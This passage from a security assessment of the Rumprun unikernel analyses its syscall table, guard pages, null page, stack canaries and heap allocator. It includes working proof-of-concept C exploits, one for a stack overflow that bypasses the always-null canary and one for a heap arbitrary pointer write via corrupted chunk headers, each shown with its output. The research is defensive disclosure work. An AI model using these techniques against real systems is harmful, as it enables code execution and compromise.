Listing 11: src-netbsd/sys/rump/include/rump-sys/kern.h

For each entry, the syscall handler function pointer is stored in rump_sysent at the specified offset.

791 void rump_syscall_boot_establish(const struct rump_onesyscall *calls, size_t ncall) {

792 struct sysent *callp;

793 size_t i;

794

795 for (i = 0; i < ncall; i++) {

796 callp = rump_sysent + calls[i].ros_num;

797 KASSERT(bootlwp != NULL

798 && callp->sy_call == (sy_call_t *)enosys);

799 callp->sy_call = calls[i].ros_handler;

800 }

801 }

Listing 12: src-netbsd/sys/rump/librump/rumpkern/rump.c

rump_syscall_boot_establish() is called by various components of Rumprun, e.g. mmap and rumpnet, which

use the RUMP_COMPONENTmacro to allow their own syscall handlers to be registered at boot.
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extern sy_call_t sys_mmap;

extern sy_call_t sys_munmap;

extern sy_call_t sys___msync13;

...

#define ENTRY(name) { SYS_##name, sys_##name },

static const struct rump_onesyscall mysys[] = {

ENTRY(mmap)

ENTRY(munmap)

ENTRY(__msync13)

...

};

#undef ENTRY

RUMP_COMPONENT(RUMP_COMPONENT_SYSCALL) {

rump_syscall_boot_establish(mysys, __arraycount(mysys));

}

Listing 13: lib/librumpkern_mman/mman_component.c

Once the syscall table is initialized, rump_syscall() can be used to invoke handlers by their ID (e.g. SYS_mmap

). It retrieves the handler’s address from rump_sysent, and then calls it with the given arguments. Clearly, the

syscall table must initially be writable in order to set up the syscall handlers in this way. Afterwards, however,

no memory protection is applied to the pages in which the syscall table resides — the table remains writable

while the application code is running. As such, if attackers can perform a write through another vulnerability,

they can alter the handler address of a common syscall (e.g. sys_write) and gain code execution the next

time it is called. This is demonstrated in Section 5.7.

The syscall API can also be used to easily perform a variety of actions without the need to scan program

memory for their corresponding functions. This is demonstrated in Section 5.11.1.

5.5.8 Guard Pages

Guard pages do not exist on the boundaries of any of Rumprun’s readable/writable sections. Additionally,

while gcc does partially implement stack probing via the -fstack-clash-protection flag, Rumprun does not

enable this flag.[Proe] Regardless, theNetBSD libcused in Rumprundoes not implement stack probing, and

implements alloca in per-architecture assembly, instead of unconditionally using builtin compiler intrinsics

(e.g. __builtin_alloca).

Rumprun’smain thread runs via a call to pthread_create(), for which the implementation in theNetBSDbase

does attempt create single-page guard regions surrounding the thread stack allocated on the heap. It does

so by using mprotect() to set the permissions of the pages immediately before and after the thread stack

to PROT_NONE. However, the NetBSD rump kernel implementation of mprotect is a no-op, and mmap similarly

ignores the permission flags passed to it.1 As such, while pthread_create() reserves space for guard pages,

it silently fails to set their permissions appropriately, so they remain RWX.

5.5.9 Section Ordering

Rumprun’s section ordering is unusual. Normally, major sections are typically laid out from lower to higher

addresses as: text, data, heap, stack. Rumprun’s sections are ordered as: text, data, heap; the stack is a fixed-

size char[] buffer residing at an arbitrarily within the data section.2 As such, a stack-based buffer overflow

or stack clash attack in the base stack may be able to manipulate memory in .data.

1See lib/librumpkern_mman/sys_mman.c and lib/librumprun_base/syscall_mman.c.
2See platform/xen/xen/arch/x86/setup.c:49.
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The fact that Rumprun runs as a paravirtualized guest on Xen makes this potentially a much more serious

problem than one might initially suspect, although Xen’s integrity checks ultimately avert disaster. When

Xen initializes Rumprun, the ELF image containing just the text and data sections is placed first in memory,

and followed immediately by the page tables. Since the stack is in the data section, it resides in the address

range just below the page table, meaning that buffer overflows will run into the page table. Fortunately, Xen

does not allow PV guests to write directly to their own page tables — they must instead use the MMU_update

hypercall — and any attempt to do so will produce a page fault. This turns out to be an inadvertent benefit,

as the page tables essentially act as a guard page between the stack and the heap. However, as mentioned

above, the application-defined main() function is run via pthread_create(), so all the application code will

end up running on the thread stack — which is allocated on the heap and has no guard pages — rather than

themain OS stack. Application code, therefore, still runs without the benefit of this ‘‘accidental guard page’’.

5.5.10 Null Page

We set a pointer to 0x0 and attempted to (a) write a jmp 0x0 (infinite loop) instruction to it and (b) to call it

as a function. The write resulted in a page fault at address 0x0, indicating that the null page is not writable.

1 #include <stdlib.h>

2 #include <stdio.h>

3 #include <string.h>

4

5 int main() {

6 void* data = (void*)0x0;

7 memcpy(data, "\xeb\xfe", 2); // jmp 0

8 puts("should hang here...");

9 ((void(*)()) data)();

10 return 0;

11 }

Listing 14: unikernel-tests/rumprun/src/2-nxwx-5-null.c

=== calling "src/2-nxwx-5-null.bin" main() ===

Page fault at linear address 0x0, rip 0x1d17cf, regs 0xc40eb8, sp 0xc40f68, our_sp 0xc40ea0, code 2

Thread: lwp

RIP: e030:[<00000000001d17cf>]

RSP: e02b:0000000000c40f68 EFLAGS: 00010246

RAX: 0000000000000000 RBX: 0000000000949b10 RCX: 0000000000000002

RDX: 0000000000000002 RSI: 00000000001e3361 RDI: 0000000000000000

RBP: 0000000000c40f80 R08: 000000000000000a R09: 0000000000000000

R10: 0000000000964000 R11: 0000000000000000 R12: 0000000000465e90

R13: 00000a481f95d597 R14: 000000000028ed40 R15: 0000000000467c90

base is 0xc40f80 caller is 0x1b4c0e

c40f50: 68 0f c4 00 00 00 00 00 2b e0 00 00 00 00 00 00

c40f60: 00 40 96 00 00 00 00 00 1e 7c 01 00 00 00 00 00

c40f70: 00 00 00 00 00 00 00 00 10 9b 94 00 00 00 00 00

c40f80: 00 00 00 00 00 00 00 00 0e 4c 1b 00 00 00 00 00

c40f70: 00 00 00 00 00 00 00 00 10 9b 94 00 00 00 00 00

c40f80: 00 00 00 00 00 00 00 00 0e 4c 1b 00 00 00 00 00

c40f90: 00 00 00 00 00 00 00 00 90 01 bd 00 00 00 00 00

c40fa0: 50 4c 1b 00 00 00 00 00 10 9b 94 00 00 00 00 00

1d17b0: 16 49 89 f8 4a 8d 74 1e 08 4a 8d 7c 1f 08 48 c1
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1d17c0: e9 03 f3 48 a5 49 89 10 4d 89 11 c3 48 89 d1 f3

1d17d0: a4 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90

1d17e0: 49 b8 01 01 01 01 01 01 01 01 4c 8d 14 17 48 0f

Pagetable walk from virt 0, base 41c000:

L4 = 00000006ec81d067 (0x41d000) [offset = 0]

L3 = 00000006ec81e067 (0x41e000) [offset = 0]

L2 = 00000006ec81f067 (0x41f000) [offset = 0]

L1 = 0000000000000000 [offset = 0]

To determine the readability of the null page, we attempted to read four bytes of data from a pointer to 0x0.

This read resulted in a page fault at address 0x0, indicating that the null page is not readable.

1 #include <string.h>

2

3 int main() {

4 void* data = (void*)0x0;

5 char dest[4];

6 memcpy(dest, data, sizeof(dest));

7 return 0;

8 }

Listing 15: unikernel-tests/rumprun/src/2-nxwx-5-null-read.c

=== calling "src/2-nxwx-5-null-read.bin" main() ===

Page fault at linear address 0x0, rip 0x17c19, regs 0xc40eb8, sp 0xc40f60, our_sp 0xc40ea0, code 0

Thread: lwp

RIP: e030:[<0000000000017c19>]

RSP: e02b:0000000000c40f60 EFLAGS: 00010246

RAX: 0000000000000000 RBX: 0000000000949b10 RCX: 0000000000000000

RDX: 0000000000bd0010 RSI: 0000000000971730 RDI: 0000000000000001

RBP: 0000000000c40f80 R08: 000000000000000a R09: 0000000000000000

R10: 0000000000964000 R11: 0000000000000000 R12: 0000000000465e90

R13: 00000bd79a4d88a2 R14: 000000000028ed40 R15: 0000000000467c90

base is 0xc40f80 caller is 0x1b4bfe

c40f50: 60 0f c4 00 00 00 00 00 2b e0 00 00 00 00 00 00

c40f60: 00 40 96 00 00 00 00 00 00 00 00 00 00 00 00 00

c40f70: 90 5e 46 00 00 00 00 00 00 00 00 00 00 00 00 00

c40f80: 00 00 00 00 00 00 00 00 fe 4b 1b 00 00 00 00 00

c40f70: 90 5e 46 00 00 00 00 00 00 00 00 00 00 00 00 00

c40f80: 00 00 00 00 00 00 00 00 fe 4b 1b 00 00 00 00 00

c40f90: 00 00 00 00 00 00 00 00 90 01 bd 00 00 00 00 00

c40fa0: 40 4c 1b 00 00 00 00 00 10 9b 94 00 00 00 00 00

17c00: 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 c7 45

17c10: e8 00 00 00 00 48 8b 45 e8 8b 00 89 45 f4 b8 00

17c20: 00 00 00 48 8b 55 f8 64 48 33 14 25 28 00 00 00

17c30: 74 05 e8 a9 62 1b 00 c9 c3 90 90 90 90 90 90 90

Pagetable walk from virt 0, base 41c000:

L4 = 00000006ec81d067 (0x41d000) [offset = 0]

L3 = 00000006ec81e067 (0x41e000) [offset = 0]

L2 = 00000006ec81f067 (0x41f000) [offset = 0]

L1 = 0000000000000000 [offset = 0]
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To determine the executability of the null page, we casted a pointer to 0x0 as a function pointer, and then

attempted to call it. This call resulted in a page fault at address 0x0, indicating that the null page is not

executable.

1

2 int main() {

3 void* data = (void*)0x0;

4

5 void (*fn)() = (void(*)()) data;

6 fn();

7

8 return 0;

9 }

Listing 16: unikernel-tests/rumprun/src/2-nxwx-5-null-exec.c

=== calling "src/2-nxwx-5-null-exec.bin" main() ===

Page fault at linear address 0x0, rip 0x0, regs 0xc40eb8, sp 0xc40f68, our_sp 0xc40ea0, code 10

Thread: lwp

RIP: e030:[<0000000000000000>]

RSP: e02b:0000000000c40f68 EFLAGS: 00010202

RAX: 0000000000000000 RBX: 0000000000949b10 RCX: 0000000000000000

RDX: 0000000000000000 RSI: 0000000000971730 RDI: 0000000000000001

RBP: 0000000000c40f80 R08: 000000000000000a R09: 0000000000000000

R10: 0000000000964000 R11: 0000000000000000 R12: 0000000000465e90

R13: 00000bea79758dce R14: 000000000028ed40 R15: 0000000000467c90

base is 0xc40f80 caller is 0x1b4bde

c40f50: 68 0f c4 00 00 00 00 00 2b e0 00 00 00 00 00 00

c40f60: 00 40 96 00 00 00 00 00 19 7c 01 00 00 00 00 00

c40f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

c40f80: 00 00 00 00 00 00 00 00 de 4b 1b 00 00 00 00 00

c40f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

c40f80: 00 00 00 00 00 00 00 00 de 4b 1b 00 00 00 00 00

c40f90: 00 00 00 00 00 00 00 00 90 01 bd 00 00 00 00 00

c40fa0: 20 4c 1b 00 00 00 00 00 10 9b 94 00 00 00 00 00

Pagetable walk from virt 0, base 41c000:

L4 = 00000006ec81d067 (0x41d000) [offset = 0]

L3 = 00000006ec81e067 (0x41e000) [offset = 0]

L2 = 00000006ec81f067 (0x41f000) [offset = 0]

L1 = 0000000000000000 [offset = 0]
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5.6 Stack Canaries

Rumprun’s CMake configuration sets the -fno-stack-protector flag, explicitly disabling stack cookies in the

kernel itself. Application code, which is compiled separately and linked into the kernel afterwards, may or

may not use canaries depending on the defaults of the compiler in use.

This aside, any canaries that do exist will always be null (i.e. 8 null bytes). Rumprun generates a cryptograph-

ically random 8-byte canary value before running the application code, but it is seemingly never copied to

thread-local storage (TLS), where the canary-related code at the start and end of each protected function will

look for it. The original value residing at that location in TLS — which in our tests was always zero — is used

instead.

A null canary only prevents stack buffer overflow exploits in certain limited cases. If an attacker wishes to use

an overflow to overwrite the return address of the current stack frame, hemust preserve the original value of

the canary. Otherwise, the function in which the overflow occurs will never attempt to return to that address

(and will instead the program into an error state). It follows that if the canary is null, the attacker must be

able to write 8 null bytes in order to successfully hijack program execution. This is not possible via single

overflow in a null-terminating string handling function such as strcpy(), as this kind of function only writes

exactly one null byte.

However, any overflow bug that allows an attacker to write at least 8 null bytes before return is called will

render the application totally and reliably exploitable. In general, this can plausibly occur in two ways.

• A null-terminating string copy function (e.g. strcpy) has an overflow and executes 9 or more times,

probably due to being called a loop. In this case, the attacker would use the first overflow to overwrite the

return address after the canary, and then use the remaining 8 overflows (each of which ends with a null

byte) to write the null canary back in.

• A non-null-terminating string copy function (e.g. memcpy) has an overflow and is called once. In this case,

the attacker can directly write the null canary.

5.6.1 The Stack Canary

In our sample program on the next page, the instructions inserted into our application code were as follows.

<check>:

push rbp ; The frame pointer is pushed onto the stack

mov rbp,rsp

sub rsp,0x20

mov rax,QWORD PTR fs:0x28 ; The stack canary is retrieved from [fs+0x28]

mov QWORD PTR [rbp-0x8],rax ; and stored before the frame ptr, i.e. two

; words before the return address.

; ...function instructions here...

mov rdx,QWORD PTR [rbp-0x8] ; The canary is checked against [fs+0x28].

xor rdx,QWORD PTR fs:0x28

je 0x176bd <check+65> ; If they are the same, continue...

call 0x1bef50 <__stack_chk_fail> ; Otherwise, fail and exit.

leave

ret
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It can be seen that before the function begins, the canary value is retrieved from thread-local storage via

[fs+0x28] and inserted on the stack just before the frame pointer, which is itself just before the return

address. Before the function returns, the canary value on the stack is checked against the one in [fs+0x28],

and if they differ, __stack_chk_fail is called, terminating the program with an error. This can be seen in the

following example, which writes a 48-char-long string to a 16-char-long buffer.

1 #include <stdlib.h>

2 #include <stdio.h>

3 #include <string.h>

4

5 static char input[] = "this is a string too long for the buffer that doesn't match the stack cookie";

6

7 int check() {

8 char buf[16];

9 strcpy(buf, input);

10

11 return 0;

12 }

13

14 void shouldnt_run() {

15 printf("The exploit worked!\n");

16 return;

17 }

18

19 int main() {

20 puts("This exploit won't work.");

21 if (check() != 0) {

22 shouldnt_run();

23 }

24

25 return 0;

26 }

Listing 17: unikernel-tests/rumprun/src/3-stack-cookie-1-overflow-without-fake-canary.c

The program output shows a clean exit with return value 1.

=== calling "krn/3-stack-cookie-1-overflow-without-fake-canary.bin" main() ===

This exploit won't work.

rumprun: call to ``_sys___sigprocmask14'' ignored

rumprun: call to ``sigaction'' ignored

_lwpabort() called

=== ERROR: _exit(1) called ===

/* omitted error output */

This, of course, is expected behavior for a canary-protected program. Had the overflow not tripped the

canary check, execution would have jumped to an invalid address and the program would have crashed

outright with page fault.

The stack canary does not work entirely as expected, however. If we observe execution in gdb, we see that

the canary is always null.
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Breakpoint 1, check () at src/3-stack-cookie-1-overflow-without-fake-canary.c:7

(gdb) info frame

Stack level 0, frame at 0xc40f80:

rip = 0x17684 in check (src/3-stack-cookie-1-overflow-without-fake-canary.c:7); saved rip = 0x176e8

called by frame at 0xc40f90

source language c.

Arglist at 0xc40f70, args:

Locals at 0xc40f70, Previous frame's sp is 0xc40f80

Saved registers:

rbp at 0xc40f70, rip at 0xc40f78

(gdb) x/6gx $rsp

0xc40f50: 0x00000000001f4517 0x0000000000000001

0xc40f60: 0x000000000045bc90 0x0000000000000000

0xc40f70: 0x0000000000c40f80 0x00000000000176e8

Listing 18: gdb showing the stack canary at 0xc40f68 and return address at 0xc40f78 (pre-overflow)

This allows attackers to overwrite the return address in certain types of overflow — all that is needed is

the ability to write at least 8 null bytes. This is demonstrated in the code below, which uses memcpy() as

an abbreviated way of writing many null bytes. In practice, this kind of vulnerability might appear in the

following cases.

• Network I/O: Generally speaking, network data is not null terminated. In most common protocols, a

header at the start of each packet explicitly specifies the length of the packet’s data.

• File I/O: Files are EOF-terminated, not null-terminated. Reading a file into a buffer can thus result inmultiple

null bytes being written.

• A null-terminating string handling function is called repeatedly in a loop. This can occur, for instance,

when a program needs to process arbitrary input line-by-line.

1 #include <stdio.h>

2 #include <string.h>

3

4 static char input[] = "012345670123456701234567"

5 "\0\0\0\0\0\0\0\0""01234567\xc4v\x01\0\0\0\0\0";

6

7 int check() {

8 char buf[16];

9 memcpy(buf, input, 48); //strcpy stops on NUL

10 return 0;

11 }

12

13 void shouldnt_run() { //has addres 0x176c4

14 printf("The exploit worked!\n");

15 }

16

17 int main() {

18 puts("This exploit will work.");

19 if (check() != 0) shouldnt_run();

20 return 0;

21 }

=== calling "krn/3-stack-cookie-2-overflow-with-

fake-canary.bin" main() ===

This exploit will work.

The exploit worked!

Page fault at linear address 0x6e, rip 0x459e90,

regs 0xc40ed8, sp 0xc40f88,

our_sp 0xc40ec0, code 0

/* omitted error output */

Listing 19: unikernel-tests/rumprun/src/3-stack-cookie-2-overflow-with-fake-canary.c
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5.6.2 Generating the Canary Value

Stack canary values are generated in src-netbsd/lib/misc/stack_protector.c, using NetBSD’s __sysctl

syscall — with the KERN_ARND key — to query the kernel’s cryptographic randomnumber generator. This popu-

lates the global long __stack_chk_guard[8] variable with random values. If the syscall fails, the ‘‘terminator

canary’’ 0x00000aff (two null bytes, a newline, and an EOF) is used. Examining this function in gdb, we

observe it is called — and the __sysctl syscall succeeds — filling __stack_chk_guard with random values.

It is worth noting, however, that fully-random canaries will contain no null bytes 97%of the time, which would

allow them to be read andwritten by null-terminating functions. As such, on 64-bit systems such as Rumprun

— which can afford to sacrifice a byte of entropy — the most secure option is not a fully random canary, but

rather one with at least one null byte, with the other bytes being random. However, there is some debate

as to the whether or not the most immediate byte of the canary should be null. [Des] In particular, this

would allow strcpy-like functions to increase the length of strings preceding the canary all the way up to it,

increasing the length by at least one if located directly before the canary. On the other hand, if the null were

deeper within the canary, an off-by-one strncpy could be used to elongate a directly preceding string to

include — and leak — the first byte of the canary. Additionally, a strcpy could, with probability 1
256 , extend a

preceding string into the canary without triggering the canary. In either situation, a memcpy could be used,

across separate runs — with an identical canary — to leak the entire canary before writing it successfully.

51 long __stack_chk_guard[8] = {0, 0, 0, 0, 0, 0, 0, 0};

52 static void __fail(const char *) __attribute__((__noreturn__));

53 __dead void __stack_chk_fail_local(void);

54 void __guard_setup(void);

55

56 void __section(".text.startup")

57 __guard_setup(void)

58 {

59 static const int mib[2] = { CTL_KERN, KERN_ARND };

60 size_t len;

61

62 if (__stack_chk_guard[0] != 0)

63 return;

64

65 len = sizeof(__stack_chk_guard);

66 if (__sysctl(mib, (u_int)__arraycount(mib), __stack_chk_guard, &len,

67 NULL, 0) == -1 || len != sizeof(__stack_chk_guard)) {

68 /* If sysctl was unsuccessful, use the "terminator canary". */

69 ((unsigned char *)(void *)__stack_chk_guard)[0] = 0;

70 ((unsigned char *)(void *)__stack_chk_guard)[1] = 0;

71 ((unsigned char *)(void *)__stack_chk_guard)[2] = '\n';

72 ((unsigned char *)(void *)__stack_chk_guard)[3] = 255;

73 }

74 }

Listing 20: Stack canary generation code (from src-netbsd/lib/libc/misc/stack_protector.c)

It thus appears that while Rumprun properly initializes __stack_chk_guard with random data, this value is

never stored in [fs+0x28], where canary-protected functions will look for it.

This issue was present in all Rumprun programs we examined, including our examples and various appli-

cations from the official rumprun-packages repository, such as nginx and mathopd. It is clearly an issue in

Rumprun itself. Due to the size of the Rumprun codebase, it is difficult to identify the root cause; it appears

to be due to an improper thread-local storage implementation, or a failure to place the guard value in TLS.
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5.7 Heap Hardening

Rumprun implements the malloc(3) API via libbmk, a custom library which appears to have been created

specifically for Rumprun. libbmk halfheartedly implements a few heap protection techniques, but they

appear primarily intended to guard against accidental corruption rather than malicious attack, and are gen-

erally ineffective in the latter case. Chunk headers have a canary value that is validated before attempting

to free the associated memory, but the canary is a preprocessor define, and the most vulnerable field — the

alignment padding that is used to calculate the header address of the malloc/page chunk to be freed — is

located before the canary, totally unprotected. Neither the computed header address, nor the next and

prev pointers retrieved from it, are validated in any way before unlinking.

To make matters worse, in our experiments (see Section 5.4), we found that heap allocations are completely

deterministic: given the same heap state, an allocation of a given size will always be made at the same

address. Furthermore, successive allocations of similar-sized chunks are generally sequential. This means

that attackers exploiting a heap buffer overflow can predictably modify the next chunk in memory.

All these factors combine such that a significant proportion of heap overflow bugs can result in arbitrary pointer

writeswhen the affected chunks are freed. Attackers can use this to rewrite a syscall and gain code execution

if they know thememory layout —whichwill be the case if they have the binary or the source (see Section 5.4).

Furthermore, since Rumprun’s addresses are the same across reboots, a target address can also be brute-

forced if a Rumprun server set to automatically restart upon crashing, as thiswouldgive the attacker unlimited

write attempts. (Due to time constraints, we were not able to develop a proof-of-concept for this kind of

exploit in Rumprun, but a conceptually similar one for IncludeOS is provided in Section 6.10.1.)

5.7.1 Heap Implementation

In Rumprun, a heap chunk can be allocated in two different ways, depending on whether or not the chunk

(including its header) is smaller than the page size of 4MB.

Small (< 4MB) chunks use a segregated freelist with 7 buckets, where the bucket index for a chunk of b bytes
is given by i = max(dlog2 b− 5e, 0). Each bucket contains a doubly-linked list of chunks, all of size 2i bytes.
When a small chunk is to be allocated, a free chunk is removed from the head of the list and a pointer to its

buffer is returned. (If no free chunks are available, a new page of memory is requested, and as many new

chunks as can be fit on the page are added to the head of the list.) When such a chunk is freed, it is added

back to the head of the list.

Page-sized or greater (≥ 4MB) chunks directly use the page allocator. Pages use a binary buddy allocator,
which works as follows (description from kernel.org). [Gor]

Memory is broken up into large blocks of pages where each block is a power of two number of

pages. If a block of the desired size is not available, a large block is broken up in half and the two

blocks are buddies to each other. One half is used for the allocation and the other is free. The

blocks are continuously halved as necessary until a block of the desired size is available. When a

block is later freed, the buddy is examined and the two coalesced if it is free.

Chunks have two levels of headers. The first, memalloc_hdr, is present in both types of chunks, and is located

immediately above the chunk body (the base pointer of which is passed into free()). Its primary purpose

is to store a padding value, mh_alignpad, that is subtracted from the chunk base pointer to get the location

of the second header, which is either a malloc chunk or page chunk header depending on the size class

of the allocated region (small or large respectively). The second-level header at that computed location is

ultimately read and altered in order to free the allocated memory.
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struct memalloc_hdr {

uint32_t mh_alignpad; /* Distance from start of header to chunk body. */

uint16_t mh_magic; /* A canary value, checked in bmk_memfree(). */

uint8_t mh_index; /* Bucket index. See above. */

uint8_t mh_who; /* Who allocated this. Checked in bmk_memfree(). */

};

Listing 21: The first-level heap chunk header memalloc_hdr (excerpted from lib/libbmk_core/memalloc.c)

bmk_memfree() will validate mh_magic, mh_index and mh_who before freeing the chunk. These checks are

ultimately useless for protecting against attacks, however, as mh_alignpad is located before the canary,

meaning that it is possible to overwrite it via a buffer overflow and still pass all the validation steps. As

will be explained in more detail later, this alone is enough to allow an attacker to gain code execution, as it

allows an attacker to write a pointer to an arbitrary location if the chunk in question is later freed.

Furthermore, it is actually possible for attackers to determine all of the expected metadata values, such that

they may be able to successfully overwrite multiple chunks. mh_magic always has 0x00ef, sourced from a

preprocessor constant, mh_index can be calculated if the chunk size is known to the nearest power of 2, and

mh_who is always set to BMK_MEMWHO_USER (a value of 2) for allocations made by the application. Thus, if the

attacker can write at least one null byte, it is possible to modify the mh_alignpad value of multiple chunks

while maintaining the validity of their metadata. bmk_memfree() is structured as follows.

#define bmk_pcpu_page_shift 12

#define minshift 5

#define localbuckets (bmk_pcpu_page_shift - minshift)

#define magic 0xef

struct freebucket {

struct memalloc_freeblk *lh_first;

};

struct memalloc_freeblk {

struct {

struct memalloc_freeblk *le_next;

struct memalloc_freeblk **le_prev;

} entries;

};

void bmk_memfree(void *cp, enum bmk_memwho who) {

struct memalloc_hdr *hdr; // header for the entire memory region.

struct memalloc_freeblk *frb; // freelist chunk. this is actually only

unsigned long alignpad; // treated as a proper freelist chunk for

unsigned int index; // small chunk frees; bmk_pgfree treats it

void *origp; // as a void.

if (cp == null) return;

hdr = ((struct memalloc_hdr *)cp)-1;

// Validate canary and allocator identity

if (hdr->mh_magic != MAGIC) return;

if (hdr->mh_who != who) bmk_platform_halt("bmk_memalloc error");
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index = hdr->mh_index;

alignpad = hdr->mh_alignpad;

// Calculate the base address of the block to be freed

origp = (unsigned char *)cp - alignpad;

if (index >= LOCALBUCKETS) { // 4MB or greater

bmk_pgfree(origp, (index+MINSHIFT) - BMK_PCPU_PAGE_SHIFT);

} else { // Less than 4MB

malloc_lock();

frb = origp;

LIST_INSERT_HEAD(&freebuckets[index], frb, entries);

nmalloc[index]--;

malloc_unlock();

}

}

Listing 22: Annotated composite of bmk_memfree() (from lib/libbmk_core/memalloc.c)

As can be seen from the code above, once the validation checks are passed, bmk_memfree() calculates the

location of the second-level chunk header by subtracting mh_alignpad from the base pointer of the chunk

being freed. If an attacker controls this value in a given chunk, then when it is freed, origp can be made to

point to any address within the 4GB of memory before that chunk’s body.

Depending on whether or not mh_index is less than LOCALBUCKETS (which has a value of 7), the computed

pointer origp will be passed to one of two different functions. Small chunks will be freed via the LIST_INSE

RT_HEAD macro, putting them back into the freelist. Large chunks (which are actually just page chunks with

an extra header) are freed via bmk_pgfree(). Both of these branches are vulnerable, albeit in different ways.

Further analysis and proof-of-concept exploits are provided for each below.

5.7.2 Arbitrary Pointer Write via Small Chunk Free

The invocation of LIST_INSERT_HEAD in bmk_memfree() expands to the following code.

1 struct freebucket* bucket = &freebuckets[index];

2 if (frb->entries.le_next = bucket->lh_first) != NULL) {

3 bucket->lh_first->entries.le_prev = &(frb->entries.le_next);

4 }

5 bucket->lh_first = frb;

6 frb->entries.le_prev = &(bucket->lh_first);

Listing 23: Abbreviated LIST_INSERT_HEAD (from include/bmk_core/queue.h) as expanded in bmk_memfree()

Here, the attacker controls the value of frb, as well as the values of frb’s fields when it is accessed as a struct

memalloc_freeblk (since they canpoint frb somewherewhere they have crafted a fake struct). However, they

do not control bucket. As such, the above code only allows the attacker to write uncontrollable values to

two controllable addresses (lines 3 and 7), and a controllable value to an uncontrollable address (line 6).

Note, however, that bucket->lh_first is first written to a controllable location, and then is overwritten by a

controllable value. The next time bmk_memfree is called for a chunk in the same bucket, bucket->lh_first

will be written to frb->entries.le_next. If the attacker also controls the latter, they can write an arbitrary

value to an arbitrary address.
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Thus, if the attacker controls the mh_alignpad values of two chunks in the same bucket that are freed in

immediate succession, they can write a pointer to an arbitrary location. The only limitation is that the value

and the address can only be within the 4GB space before the base address of the first and second chunks

respectively. In practice, the range of addresses that this permits is almost always large enough that a

function pointer can be overwritten in order to gain code execution.

In summary, an arbitrary pointer write is possible given a chunk layout satisfying the following conditions.

• Two small chunks will be freed.

• Both chunks are in the same bucket (i.e. if their sizes are s1 and s2, then 2
n ≤ s1, s2 < 2n+1 for some n).

• No other chunks in the same bucket are freed before the second chunk is freed.

• The mh_alignpad values of both chunks are controllable, either via two separate overflows (without writing

null bytes) or one overflow (if null bytes can be written).

Below is a simple demonstration of this attack. Here, the exploit simply changes the value of a static global

variable; in a real attack, a syscall function pointer could be overwritten (see Section 5.7.3).

1 #include <stdint.h>

2 #include <stdio.h>

3 #include <stdlib.h>

4 #include <string.h>

5 #include <unistd.h>

6

7 struct rump_memalloc_hdr {

8 uint32_t alignpad;

9 uint16_t magic;

10 uint8_t index;

11 uint8_t who;

12 };

13 static uint64_t val = 0x00;

14

15 int main(int argc, char** argv) {

16 void *chunk1, *chunk2, *chunk3;

17 struct rump_memalloc_hdr *chunk1_hdr, *chunk2_hdr, *chunk3_hdr;

18 chunk1 = malloc(0x80);

19 chunk2 = malloc(0x80);

20 chunk3 = malloc(0x80);

21 memset(chunk1, 0x11, 0x80);

22 memset(chunk2, 0x22, 0x80);

23 memset(chunk3, 0x22, 0x80);

24 chunk1_hdr = chunk1 - 0x08;

25 chunk2_hdr = chunk2 - 0x08;

26 chunk3_hdr = chunk3 - 0x08;

27

28 printf("chunk1 @ %p, ap = %#x, m = %x, i = %x, w = %x\n",

29 chunk1_hdr, chunk1_hdr->alignpad, chunk1_hdr->magic, chunk1_hdr->index, chunk1_hdr->who);

30 printf("chunk2 @ %p, ap = %#x, m = %x, i = %x, w = %x\n",

31 chunk2_hdr, chunk2_hdr->alignpad, chunk2_hdr->magic, chunk2_hdr->index, chunk2_hdr->who);

32 printf("chunk3 @ %p, ap = %#x, m = %x, i = %x, w = %x\n",

33 chunk3_hdr, chunk3_hdr->alignpad, chunk3_hdr->magic, chunk3_hdr->index, chunk3_hdr->who);

34 printf("\nval @ %p = 0x%llx\n", &val, val);
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35

36 // NOTE: Chunks are ordered 3,2,1 from low to high addresses

37

38 // "Overflow" from chunk2 to chunk1, storing (base addr of chunk1) - (chunk1 alignpad)

39 // in &freebuckets[index]->sld_first. This stores 0x00444444.

40 memset(chunk2, 0x21, (void*)chunk1_hdr - chunk2);

41 chunk1_hdr->alignpad = 0x015acc;

42

43 // "Overflow" from chunk3 to chunk2, writing the stored value to

44 // (base addr of chunk2) - (chunk2 alignpad). This overwrites `val` above.

45 memset(chunk3, 0x32, (void*)chunk2_hdr - chunk3);

46 chunk2_hdr->alignpad = 0x131018 + 0x8;

47

48 free(chunk1); free(chunk2); free(chunk3);

49 printf("val @ %p = 0x%llx\n", &val, val);

50 return 0;

51 }

Listing 24: unikernel-tests/rumprun/src/4-poc-3-2hof.c

=== calling "krn/4-poc-3-2hof.bin" main() ===

chunk1 @ 0x459f08, ap = 0x10, m = ef, i = 3, w = 2

chunk2 @ 0x459d08, ap = 0x10, m = ef, i = 3, w = 2

chunk3 @ 0x459c08, ap = 0x10, m = ef, i = 3, w = 2

val @ 0x328cf0 = 0x0

val @ 0x328cf0 = 0x444444

=== main() of "!!!!!!!!!!!/* omitted lots of !s */!!!!!!!!!!" returned 0 ===

/* omitted debug output */

Listing 25: Output of unikernel-tests/rumprun/src/4-poc-3-2hof.c (val has been changed)

Note: The long string of exclamation points, not printed in full, is due to the (simulated) overflow overwriting

the program name, which is also stored on the heap.

5.7.3 Arbitrary Pointer Write via Large Chunk Free

The overall exploit requires the attacker to carry out two tasks.

1. Overflow into the mh_alignpad field of a chunk of size 4MB or greater which is to be freed, modifying

it so that the page chunk base address, which is calculated from origp, points to a fake page chunk.

2. Set the index and magic values of the fake page chunk to pass validation checks in bmk_pgfree, and set

next and prev to the target address and the value to write, respectively. To avoid a page fault, ensure

that the latter is also a writable address.

Relevant excerpts of Rumprun’s page freeing code (from pgalloc.c) are provided below, followed by an

analysis thereof. A proof-of-concept is provided, using the pointer write to gain code execution.
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#define addr2chunk(addr, offset) ((struct chunk *)(((char *)addr) + offset))

#define order2size(offset) (1UL << (offset + 12))

#define va_to_pg(x) (((unsigned long)x - (unsigned long)minpage_addr) >> BMK_PCPU_PAGE_SHIFT)

#define CHUNKMAGIC 0x11020217

struct chunk {

int level, magic;

struct {

struct chunk *le_next;

struct chunk **le_prev;

} entries;

};

static int addr_is_managed(void *addr) {

return addr >= minpage_addr && addr < maxpage_addr;

}

static int allocated_in_map(void *addr) {

unsigned long pagenum;

bmk_assert(addr_is_managed(addr));

pagenum = va_to_pg(addr);

return (alloc_bitmap[pagenum/PAGES_PER_MAPWORD] \

